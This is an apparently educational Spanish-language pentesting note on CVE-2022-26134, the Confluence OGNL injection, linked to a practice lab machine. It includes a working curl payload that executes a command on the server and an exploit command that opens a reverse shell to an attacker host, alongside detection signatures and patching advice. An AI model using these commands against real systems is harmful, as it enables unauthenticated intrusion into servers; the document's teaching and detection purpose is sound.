the_open_door
café
ESEN
← Volver al índice

Confluence OGNL (CVE-2022-26134)

CVE-2022-26134 es una inyección OGNL en Atlassian Confluence Server y Data Center (afecta a múltiples versiones hasta 7.18.0) que permite ejecución de código sin autenticación. OGNL (Object-Graph Navigation Language) es el lenguaje de expresiones que usan muchas aplicaciones web Java; Confluence lo evaluaba en ciertos parámetros de la URL sin sanearlos, de modo que una expresión bien construida se ejecuta del lado servidor.

El payload viaja en la propia ruta de la petición: se envía un GET (o POST) contra un endpoint como /%24%7B...%7D/ donde ${...} contiene la expresión OGNL. Al resolverla, Confluence ejecuta el comando con los privilegios del proceso (a menudo el usuario confluence).

curl -s http://<ip>:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29%7D/

En la práctica se usa un exploit que automatiza la codificación y devuelve una reverse shell (por ejemplo el through_the_wire de jbaines-r7):

python3 through_the_wire.py --rhost <ip> --rport 8090 --lhost <lhost> --lport <lport> --protocol http:// --reverse-shell

Matices. Es una de las CVE más explotadas de 2022 (se usó de forma masiva in the wild). El acceso resultante suele ser el del usuario que ejecuta Confluence, no root, así que casi siempre encadena con una escalada local. La versión visible en el login o el pie de página delata si el objetivo es vulnerable.

Cómo detectarlo. La firma está en la URL: peticiones (autenticadas o no) cuya ruta contiene una expresión OGNL codificada, %24%7B (${) con java.lang.Runtime/getRuntime/exec, patrón que las firmas IDS/WAF para CVE-2022-26134 marcan al instante. En el host, el proceso de Confluence (java, usuario confluence) lanzando sh/bash/id como hijo (algo que servir wiki nunca hace) es la confirmación. Como fue de explotación masiva in the wild, cualquier ${...} en la ruta hacia un Confluence sin parchear debe tratarse como incidente; una web shell recién escrita en el confluence/ cierra la cadena.

Defensa. Actualizar Confluence a las versiones parcheadas; los productos Atlassian expuestos a Internet son un objetivo prioritario y deben mantenerse al día. Relacionado con otras inyecciones de comandos en aplicaciones Java.

Máquinas donde se aplica

  • FluProving Grounds Practice